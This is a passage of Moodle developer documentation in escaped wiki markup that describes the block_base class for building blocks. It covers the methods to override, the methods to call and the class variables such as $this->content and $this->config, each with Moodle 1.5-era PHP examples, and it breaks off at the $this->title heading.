function applicable_formats() {&lt;br /&gt;
  // Default case: the block can be used in courses and site index, but not in activities&lt;br /&gt;
  return array(&lt;br /&gt;
    &#039;all&#039; =&amp;gt; true, &lt;br /&gt;
    &#039;mod&#039; =&amp;gt; false,&lt;br /&gt;
  );&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method allows you to control which pages your block can be added to. Page formats are formulated from the full path of the script that is used to display that page. You should return an array with the keys being page format names and the values being booleans (true or false). Your block is only allowed to appear in those formats where the value is true.&lt;br /&gt;
Example format names are: &#039;&#039;&#039;course-view&#039;&#039;&#039;, &#039;&#039;&#039;site-index&#039;&#039;&#039; (this is an exception, referring front page of the Moodle site), &#039;&#039;&#039;course-format-weeks&#039;&#039;&#039; (referring to a specific course format), &#039;&#039;&#039;mod-quiz&#039;&#039;&#039; (referring to the quiz module) and &#039;&#039;&#039;all&#039;&#039;&#039; (this will be used for those formats you have not explicitly allowed or disallowed).&lt;br /&gt;
&lt;br /&gt;
The full matching rules are:&lt;br /&gt;
&lt;br /&gt;
# Prefixes of a format name will match that format name; for example, &#039;&#039;&#039;mod&#039;&#039;&#039; will match all the activity modules. &#039;&#039;&#039;course-view&#039;&#039;&#039; will match any course, regardless of the course format. And finally, &#039;&#039;&#039;site&#039;&#039;&#039; will also match the front page (remember that its full format name is &#039;&#039;&#039;site-index&#039;&#039;&#039;).&lt;br /&gt;
# The more specialized a format name that matches our page is, the higher precedence it has when deciding if the block will be allowed. For example, &#039;&#039;&#039;mod&#039;&#039;&#039;, &#039;&#039;&#039;mod-quiz&#039;&#039;&#039; and &#039;&#039;&#039;mod-quiz-view&#039;&#039;&#039; all match the quiz view page. But if all three are present, &#039;&#039;&#039;mod-quiz-view&#039;&#039;&#039; will take precedence over the other two because it is a better match.&lt;br /&gt;
# The character &#039;&#039;&#039;&amp;lt;nowiki&amp;gt;*&amp;lt;/nowiki&amp;gt;&#039;&#039;&#039; can be used in place of any word. For example, &#039;&#039;&#039;mod&#039;&#039;&#039; and &#039;&#039;&#039;mod-*&#039;&#039;&#039; are equivalent. At the time of this document&#039;s writing, there is no actual reason to utilize this &amp;quot;wildcard matching&amp;quot; feature, but it exists for future usage.&lt;br /&gt;
# The order that the format names appear does not make any difference.&lt;br /&gt;
&lt;br /&gt;
=== before_delete() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function before_delete() {&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.7 and later&lt;br /&gt;
&lt;br /&gt;
This method is called when an administrator removes a block from the Moodle installation, immediately before the relevant database tables are deleted.  It allows block authors to perform any necessary cleanup - removing temporary files and so on - before the block is deleted.&lt;br /&gt;
&lt;br /&gt;
=== config_print() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function config_print() {&lt;br /&gt;
  // Default behavior: print the config_global.html file&lt;br /&gt;
  // You don&#039;t need to override this if you&#039;re satisfied with the above&lt;br /&gt;
  if (!$this-&amp;gt;has_config()) {&lt;br /&gt;
    return FALSE;&lt;br /&gt;
  }&lt;br /&gt;
  global $CFG, $THEME;&lt;br /&gt;
  &lt;br /&gt;
  print_simple_box_start(&#039;center&#039;, &#039;&#039;, $THEME-&amp;gt;cellheading);&lt;br /&gt;
  include($CFG-&amp;gt;dirroot.&#039;/blocks/&#039;. $this-&amp;gt;name() .&#039;/config_global.html&#039;);&lt;br /&gt;
  print_simple_box_end();&lt;br /&gt;
  return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method allows you to choose how to display the global configuration screen for your block. This is the screen that the administrator is presented with when he chooses &amp;quot;Settings...&amp;quot; for a specific block. Override it if you need something much more complex than the default implementation allows you to do. However, keep these points in mind:&lt;br /&gt;
&lt;br /&gt;
* If you save your configuration options in $CFG, you will probably need to use global $CFG; before including any HTML configuration screens.&lt;br /&gt;
* The HTML &amp;lt;input&amp;gt; elements that you include in your method&#039;s output will be automatically enclosed in a &amp;lt;form&amp;gt; element. You do not need to worry about where and how that form is submitted; however, you &#039;&#039;&#039;must&#039;&#039;&#039; provide a way to submit it (i.e., an &amp;lt;input type=&amp;quot;submit&amp;quot; /&amp;gt;.&lt;br /&gt;
You should return a boolean value denoting the success or failure of your method&#039;s actions.&lt;br /&gt;
&lt;br /&gt;
=== config_save() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function config_save($data) {&lt;br /&gt;
  // Default behaviour: save all variables as $CFG properties&lt;br /&gt;
  // You don&#039;t need to override this if you &#039;re satisfied with the above&lt;br /&gt;
  foreach ($data as $name =&amp;gt; $value) {&lt;br /&gt;
    set_config($name, $value);&lt;br /&gt;
  }&lt;br /&gt;
  return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method allows you to override the storage mechanism for your global configuration data. The received argument is an associative array, with the keys being setting names and the values being setting values. The default implementation saves everything as Moodle $CFG variables.&lt;br /&gt;
Note that $data does not hold all of the submitted POST data because Moodle adds some hidden fields to the form in order to be able to process it. However, before calling this method it strips the hidden fields from the received data and so when this method is called only the &amp;quot;real&amp;quot; configuration data remain.&lt;br /&gt;
&lt;br /&gt;
You should return a boolean value denoting the success or failure of your method&#039;s actions.&lt;br /&gt;
&lt;br /&gt;
=== get_content() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function get_content() {&lt;br /&gt;
  // This should be implemented by the derived class.&lt;br /&gt;
  return NULL;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method should, when called, populate the [[Blocks_Howto#variable_content| $this-&amp;gt;content]] variable of your block. Populating the variable means:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;EITHER&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
defining $this-&amp;gt;content-&amp;gt;text and $this-&amp;gt;content-&amp;gt;footer if your block derives from &#039;&#039;&#039;block_base&#039;&#039;&#039;. Both of these should be strings, and can contain arbitrary HTML.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;OR&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
defining $this-&amp;gt;content-&amp;gt;items, $this-&amp;gt;content-&amp;gt;icons and $this-&amp;gt;content-&amp;gt;footer if your block derives from &#039;&#039;&#039;block_list&#039;&#039;&#039;. The first two should be numerically indexed arrays having the exact same number of elements. $this-&amp;gt;content-&amp;gt;items is an array of strings that can contain arbitrary HTML while $this-&amp;gt;content-&amp;gt;icons also contains should strings, but those must be fully-qualified HTML &amp;lt;img&amp;gt; tags &#039;&#039;&#039;and nothing else&#039;&#039;&#039;. $this-&amp;gt;content-&amp;gt;footer is a string, as above.&lt;br /&gt;
&lt;br /&gt;
If you set &#039;&#039;all&#039;&#039; of these variables to their default &amp;quot;empty&amp;quot; values (empty arrays for the arrays and empty strings for the strings), the block will &#039;&#039;&#039;not&#039;&#039;&#039; be displayed at all except to editing users. This is a good way of having your block hide itself to unclutter the screen if there is no reason to have it displayed.&lt;br /&gt;
&lt;br /&gt;
Before starting to populate [[Blocks_Howto#variable_content| $this-&amp;gt;content]], you should also include a simple caching check. If [[Blocks_Howto#variable_content| $this-&amp;gt;content]] is exactly equal to NULL then proceed as normally, while if it is not, return the existing value instead of calculating it once more. If you fail to do this, Moodle will suffer a performance hit.&lt;br /&gt;
&lt;br /&gt;
In any case, your method should return the fully constructed [[Blocks_Howto#variable_content| $this-&amp;gt;content]] variable.&lt;br /&gt;
&lt;br /&gt;
=== has_config() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function has_config() {&lt;br /&gt;
  return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method should return a boolean value that denotes whether your block wants to present a configuration interface to site admins or not. The configuration that this interface offers will impact all instances of the block equally.&lt;br /&gt;
To actually implement the configuration interface, you will either need to rely on the default [[Blocks_Howto#method_instance_config_print| config_print]] method or override it. The full guide contains [[Blocks_Howto#section_effects_of_globalization| more information on this]].&lt;br /&gt;
&lt;br /&gt;
=== hide_header() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function hide_header() {&lt;br /&gt;
  //Default, false--&amp;gt; the header is shown&lt;br /&gt;
  return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method should return a boolean value that denotes whether your block wants to hide its header (or title). Thus, if you override it to return true, your block will not display a title unless the current user is in editing mode.&lt;br /&gt;
&lt;br /&gt;
=== html_attributes() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function html_attributes() {&lt;br /&gt;
  // Default case: an id with the instance and a class with our name in it&lt;br /&gt;
  return array(&#039;id&#039; =&amp;gt; &#039;inst&#039;.$this-&amp;gt;instance-&amp;gt;id, &#039;class&#039; =&amp;gt; &#039;block_&#039;. $this-&amp;gt;name());&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method should return an associative array of HTML attributes that will be given to your block&#039;s container element when Moodle constructs the output HTML. No sanitization will be performed in these elements at all.&lt;br /&gt;
&lt;br /&gt;
If you intend to override this method, you should return the default attributes as well as those you add yourself. The recommended way to do this is:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function html_attributes() {&lt;br /&gt;
  $attrs = parent::html_attributes();&lt;br /&gt;
  // Add your own attributes here, e.g.&lt;br /&gt;
  // $attrs[&#039;width&#039;] = &#039;50%&#039;;&lt;br /&gt;
  return $attrs;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== init() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function init() {&lt;br /&gt;
  $this-&amp;gt;title = get_string(&#039;simplehtml&#039;, &#039;block_simplehtml&#039;);&lt;br /&gt;
  $this-&amp;gt;version = 2004111200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method must be implemented for all blocks. It has to assign meaningful values to the object variables [[Blocks_Howto#variable_title| $this-&amp;gt;title]] and [[Blocks_Howto#variable_version| $this-&amp;gt;version]] (which is used by Moodle for performing automatic updates when available).&lt;br /&gt;
&lt;br /&gt;
No return value is expected from this method.&lt;br /&gt;
&lt;br /&gt;
=== instance_allow_config() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function instance_allow_config() {&lt;br /&gt;
  return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method should return a boolean value. True indicates that your block wants to have per-instance configuration, while false means it does not. If you do want to implement instance configuration, you will need to take some additional steps apart from overriding this method; refer to the full guide for [[Blocks_Howto#section_configure_that_out| more information]].&lt;br /&gt;
&lt;br /&gt;
This method&#039;s return value is irrelevant if [[Blocks_Howto#method_instance_allow_multiple| instance_allow_multiple]] returns true; it is assumed that if you want multiple instances then each instance needs its own configuration.&lt;br /&gt;
&lt;br /&gt;
=== instance_allow_multiple() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function instance_allow_multiple() {&lt;br /&gt;
  // Are you going to allow multiple instances of each block?&lt;br /&gt;
  // If yes, then it is assumed that the block WILL USE per-instance configuration&lt;br /&gt;
  return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method should return a boolean value, indicating whether you want to allow multiple instances of this block in the same page or not. If you do allow multiple instances, it is assumed that you will also be providing per-instance configuration for the block. Thus, you will need to take some additional steps apart from overriding this method; refer to the full guide for [[Blocks_Howto#section_configure_that_out| more information]].&lt;br /&gt;
&lt;br /&gt;
=== instance_config_print() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function instance_config_print() {&lt;br /&gt;
  // Default behavior: print the config_instance.html file&lt;br /&gt;
  // You don&#039;t need to override this if you&#039;re satisfied with the above&lt;br /&gt;
  if (!$this-&amp;gt;instance_allow_multiple() &amp;amp;&amp;amp; !$this-&amp;gt;instance_allow_config()) {&lt;br /&gt;
    return FALSE;&lt;br /&gt;
  }&lt;br /&gt;
  global $CFG, $THEME;&lt;br /&gt;
 &lt;br /&gt;
  if (is_file($CFG-&amp;gt;dirroot .&#039;/blocks/&#039;. $this-&amp;gt;name() .&#039;/config_instance.html&#039;)) {&lt;br /&gt;
    print_simple_box_start(&#039;center&#039;, &#039;&#039;, $THEME-&amp;gt;cellheading);&lt;br /&gt;
    include($CFG-&amp;gt;dirroot .&#039;/blocks/&#039;. $this-&amp;gt;name() .&#039;/config_instance.html&#039;);&lt;br /&gt;
    print_simple_box_end();&lt;br /&gt;
   } else {&lt;br /&gt;
     notice(get_string(&#039;blockconfigbad&#039;),&lt;br /&gt;
        str_replace(&#039;blockaction=&#039;, &#039;dummy=&#039;, qualified_me()));&lt;br /&gt;
   }&lt;br /&gt;
   return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method allows you to choose how to display the instance configuration screen for your block. Override it if you need something much more complex than the default implementation allows you to do. Keep in mind that whatever you do output from [[Blocks_Howto#method_instance_config_print| config_print]], it will be enclosed in a HTML form automatically. You only need to provide a way to submit that form.&lt;br /&gt;
&lt;br /&gt;
You should return a boolean value denoting the success or failure of your method&#039;s actions.&lt;br /&gt;
&lt;br /&gt;
=== instance_config_save() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function instance_config_save($data) {&lt;br /&gt;
  $data = stripslashes_recursive($data);&lt;br /&gt;
  $this-&amp;gt;config = $data;&lt;br /&gt;
  return set_field(&#039;block_instance&#039;, &#039;configdata&#039;, base64_encode(serialize($data)),&lt;br /&gt;
                      &#039;id&#039;, $this-&amp;gt;instance-&amp;gt;id);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method allows you to override the storage mechanism for your instance configuration data. The received argument is an associative array, with the keys being setting names and the values being setting values.&lt;br /&gt;
&lt;br /&gt;
The configuration must be stored in the &amp;quot;configdata&amp;quot; field of your instance record in the database so that Moodle can auto-load it when your block is constructed. However, you may still want to override this method if you need to take some additional action apart from saving the data. In that case, you really should do what data processing you want and then call parent::instance_config_save($data) with your new $data array. This will keep your block from becoming broken if the default implementation of instance_config_save changes in the future.&lt;br /&gt;
&lt;br /&gt;
Note that $data does not hold all of the submitted POST data because Moodle adds some hidden fields to the form in order to be able to process it. However, before calling this method it strips the hidden fields from the received data and so when this method is called only the &amp;quot;real&amp;quot; configuration data remain.&lt;br /&gt;
&lt;br /&gt;
If you want to update the stored copy of the configuration data at run time (for example to persist some changes you made programmatically), you should not use this method. The correct procedure for that purpose is to call [[Blocks_Howto#method_instance_config_commit| instance_config_commit]].&lt;br /&gt;
&lt;br /&gt;
You should return a boolean value denoting the success or failure of your method&#039;s actions.&lt;br /&gt;
&lt;br /&gt;
=== preferred_width() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function preferred_width() {&lt;br /&gt;
  // Default case: the block wants to be 180 pixels wide&lt;br /&gt;
  return 180;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method should return an integer value, which is the number of pixels of width your block wants to take up when displayed. Moodle will try to honor your request, but this is actually up to the implementation of the format of the page your block is being displayed in and therefore no guarantee is given. You might get exactly what you want or any other width the format decides to give you, although obviously an effort to accomodate your block will be made.&lt;br /&gt;
&lt;br /&gt;
Most display logic at this point allocates the maximum width requested by the blocks that are going to be displayed, bounding it both downwards and upwards to avoid having a bad-behaving block break the format.&lt;br /&gt;
&lt;br /&gt;
=== refresh_content() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function refresh_content() {&lt;br /&gt;
  // Nothing special here, depends on content()&lt;br /&gt;
  $this-&amp;gt;content = NULL;&lt;br /&gt;
  return $this-&amp;gt;get_content();&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method should cause your block to recalculate its content immediately. If you follow the guidelines for [[Blocks_Howto#get_content| get_content]], which say to respect the current content value unless it is NULL, then the default implementation will do the job just fine.&lt;br /&gt;
You should return the new value of [[Blocks_Howto#variable_content| $this-&amp;gt;content]] after refreshing it.&lt;br /&gt;
&lt;br /&gt;
=== specialization() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function specialization() {&lt;br /&gt;
  // Just to make sure that this method exists.&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method is automatically called by the framework immediately after your instance data (which includes the page type and id and all instance configuration data) is loaded from the database. If there is some action that you need to take as soon as this data becomes available and which cannot be taken earlier, you should override this method.&lt;br /&gt;
&lt;br /&gt;
The instance data will be available in the variables [[Blocks_Howto#variable_instance| $this-&amp;gt;instance]] and [[Blocks_Howto#variable_config| $this-&amp;gt;config]].&lt;br /&gt;
&lt;br /&gt;
This method should not return anything at all.&lt;br /&gt;
&lt;br /&gt;
== Methods which you should &#039;&#039;not&#039;&#039; override but may want to use: ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== get_content_type() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function get_content_type() {&lt;br /&gt;
  return $this-&amp;gt;content_type;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method returns the value of [[Blocks_Howto#variable_content_type| $this-&amp;gt;content_type]], and is the preferred way of accessing that variable. It is guaranteed to always work, now and forever. Directly accessing the variable is &#039;&#039;&#039;not recommended&#039;&#039;&#039;&amp;lt;nowiki&amp;gt;; future library changes may break compatibility with code that does so.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== get_title() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function get_title() {&lt;br /&gt;
  return $this-&amp;gt;title;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method returns the value of [[Blocks_Howto#variable_title| $this-&amp;gt;title]], and is the preferred way of accessing that variable. It is guaranteed to always work, now and forever. Directly accessing the variable is &#039;&#039;&#039;not recommended&#039;&#039;&#039;&amp;lt;nowiki&amp;gt;; future library changes may break compatibility with code that does so.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== get_version() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;function get_version() {&lt;br /&gt;
  return $this-&amp;gt;version;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method returns the value of [[Blocks_Howto#variable_version| $this-&amp;gt;version]], and is the preferred way of accessing that variable. It is guaranteed to always work, now and forever. Directly accessing the variable is &#039;&#039;&#039;not recommended&#039;&#039;&#039;&amp;lt;nowiki&amp;gt;; future library changes may break compatibility with code that does so.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== instance_config_commit() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function instance_config_commit() {&lt;br /&gt;
  return set_field(&#039;block_instance&#039;,&#039;configdata&#039;, base64_encode(serialize($this-&amp;gt;config)), &#039;id&#039;, $this-&amp;gt;instance-&amp;gt;id);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method saves the current contents of [[Blocks_Howto#variable_config| $this-&amp;gt;config]] to the database. If you need to make a change to the configuration settings of a block instance at run time (and not through the usual avenue of letting the user change it), just make the changes you want to [[Blocks_Howto#variable_config| $this-&amp;gt;config]] and then call this method.&lt;br /&gt;
&lt;br /&gt;
=== is_empty() ===&lt;br /&gt;
&lt;br /&gt;
For blocks that extend class &#039;&#039;&#039;block_base&#039;&#039;&#039;&amp;lt;nowiki&amp;gt;:&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function is_empty() {&lt;br /&gt;
  $this-&amp;gt;get_content();&lt;br /&gt;
  return(empty($this-&amp;gt;content-&amp;gt;text) &amp;amp;&amp;amp; empty($this-&amp;gt;content-&amp;gt;footer));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
For blocks that extend class &#039;&#039;&#039;block_list&#039;&#039;&#039;&amp;lt;nowiki&amp;gt;:&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function is_empty() {&lt;br /&gt;
  $this-&amp;gt;get_content();&lt;br /&gt;
  return (empty($this-&amp;gt;content-&amp;gt;items) &amp;amp;&amp;amp; empty($this-&amp;gt;content-&amp;gt;footer));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This method returns the a boolean true/false value, depending on whether the block has any content at all to display. Blocks without content are not displayed by the framework.&lt;br /&gt;
&lt;br /&gt;
=== name() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function name() {&lt;br /&gt;
  static $myname;&lt;br /&gt;
  if ($myname === NULL) {&lt;br /&gt;
    $myname = strtolower(get_class($this));&lt;br /&gt;
    $myname = substr($myname, strpos($myname, &#039;_&#039;) + 1);&lt;br /&gt;
  }&lt;br /&gt;
  return $myname;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.5 and later&lt;br /&gt;
&lt;br /&gt;
This method returns the internal name of your block inside Moodle, without the &#039;&#039;&#039;block_&#039;&#039;&#039; prefix. Obtaining the name of a block object is sometimes useful because it can be used to write code that is agnostic to the actual block&#039;s name (and thus more generic and reusable). For an example of this technique, see the [[Blocks_Howto#method_config_print| config_print]] method.&lt;br /&gt;
&lt;br /&gt;
== Methods which you should &#039;&#039;not&#039;&#039; override and &#039;&#039;not&#039;&#039; use at all: ==&lt;br /&gt;
&lt;br /&gt;
=== _add_edit_controls() ===&lt;br /&gt;
This is a private method; no description is given.&lt;br /&gt;
&lt;br /&gt;
=== _load_instance() ===&lt;br /&gt;
This is a private method; no description is given.&lt;br /&gt;
&lt;br /&gt;
=== _print_block() ===&lt;br /&gt;
This is a private method; no description is given.&lt;br /&gt;
&lt;br /&gt;
=== _print_shadow() ===&lt;br /&gt;
This is a private method; no description is given.&lt;br /&gt;
&lt;br /&gt;
=== _self_test() ===&lt;br /&gt;
This is a private method; no description is given.&lt;br /&gt;
&lt;br /&gt;
The class &#039;&#039;&#039;block_base&#039;&#039;&#039; also has a few standard member variables which its methods manipulate. These variables, the purpose of each and the type of data they are expected to hold is explained in the next section of this Appendix.&lt;br /&gt;
&lt;br /&gt;
== Class variables: ==&lt;br /&gt;
&lt;br /&gt;
=== $this-&amp;gt;config ===&lt;br /&gt;
&lt;br /&gt;
This variable holds all the specialized instance configuration data that have been provided for this specific block instance (object). It is an object of type stdClass, with member variables directly corresponding to the HTML &amp;lt;input&amp;gt; elements in the block&#039;s &amp;lt;span class=&amp;quot;filename&amp;quot;&amp;gt;config_instance.html&amp;lt;/span&amp;gt; file.&lt;br /&gt;
&lt;br /&gt;
The variable is initialized just after the block object is constructed, immediately before [[Blocks_Howto#method_specialization| specialization]] is called for the object. It is possible that the block has no instance configuration, in which case the variable will be NULL.&lt;br /&gt;
&lt;br /&gt;
It is obvious that there is a direct relationship between this variable and the configdata field in the mdl_block_instance table. However, it is &#039;&#039;strongly&#039;&#039; advised that you refrain from accessing the configdata field yourself. If you absolutely must update its value at any time, it is recommended that you call the method [[Blocks_Howto#method_instance_config_commit| instance_config_commit]] to do the actual work.&lt;br /&gt;
&lt;br /&gt;
=== $this-&amp;gt;content ===&lt;br /&gt;
&lt;br /&gt;
This variable holds all the actual content that is displayed inside each block. Valid values for it are either NULL or an object of class stdClass, which must have specific member variables set as explained below. Normally, it begins life with a value of NULL and it becomes fully constructed (i.e., an object) when [[Blocks_Howto#method_get_content| get_content]] is called.&lt;br /&gt;
&lt;br /&gt;
After it is fully constructed, this object is expected to have certain properties, depending on the value of [[Blocks_Howto#variable_content_type| $this-&amp;gt;content_type]]. &lt;br /&gt;
&lt;br /&gt;
Specifically:&lt;br /&gt;
&lt;br /&gt;
* If [[Blocks_Howto#variable_content_type| $this-&amp;gt;content_type]] is [[Blocks_Howto#constant_block_type_text| BLOCK_TYPE_TEXT]], then [[Blocks_Howto#variable_content| $this-&amp;gt;content]] is expected to have the following member variables:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;text&#039;&#039;&#039; This is a string of arbitrary length and content. It is displayed inside the main area of the block, and can contain HTML.&lt;br /&gt;
# &#039;&#039;&#039;footer&#039;&#039;&#039; This is a string of arbitrary length and contents. It is displayed below the text, using a smaller font size. It can also contain HTML.&lt;br /&gt;
&lt;br /&gt;
* If [[Blocks_Howto#variable_content_type| $this-&amp;gt;content_type]] is [[Blocks_Howto#constant_block_type_list| BLOCK_TYPE_LIST]], then [[Blocks_Howto#variable_content| $this-&amp;gt;content]] is expected to have the following member variables:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;items&#039;&#039;&#039; This is a numerically indexed array of strings which holds the title for each item in the list that will be displayed in the block&#039;s area. Since usually such lists function like menus, the title for each item is normally a fully qualified HTML &amp;lt;a&amp;gt; tag.&lt;br /&gt;
# &#039;&#039;&#039;icons&#039;&#039;&#039; This is a numerically indexed array of strings which represent the images displayed before each item of the list. It therefore follows that it should have the exact number of elements as the items member variable. Each item in this array should be a fully qualified HTML &amp;lt;img&amp;gt; tag.&lt;br /&gt;
# &#039;&#039;&#039;footer&#039;&#039;&#039; This is a string of arbitrary length and contents. It is displayed below the text, using a smaller font size. It can also contain HTML.&lt;br /&gt;
&lt;br /&gt;
=== $this-&amp;gt;content_type === &lt;br /&gt;
&lt;br /&gt;
This variable instructs Moodle on what type of content it should assume the block has, and is used to differentiate text blocks from list blocks. It is essential that it has a meaningful value, as Moodle depends on this for correctly displaying the block on screen. Consequently, this variable is closely tied with the variable [[Blocks_Howto#variable_content| $this-&amp;gt;content]]. The variable is expected to have a valid value after the framework calls the [[Blocks_Howto#method_init| init]] method for each block.&lt;br /&gt;
&lt;br /&gt;
The only valid values for this variable are the two named constants [[Blocks_Howto#constant_block_type_text| BLOCK_TYPE_TEXT]] and [[Blocks_Howto#constant_block_type_list| BLOCK_TYPE_LIST]].&lt;br /&gt;
&lt;br /&gt;
=== $this-&amp;gt;instance === &lt;br /&gt;
&lt;br /&gt;
This member variable holds all the specific information that differentiates one block instance (i.e., the PHP object that embodies it) from another. It is an object of type stdClass retrieved by calling get_record on the table mdl_block_instance. Its member variables, then, directly correspond to the fields of that table. It is initialized immediately after the block object itself is constructed.&lt;br /&gt;
&lt;br /&gt;
=== $this-&amp;gt;title === &lt;br /&gt;
&lt;br /&gt;
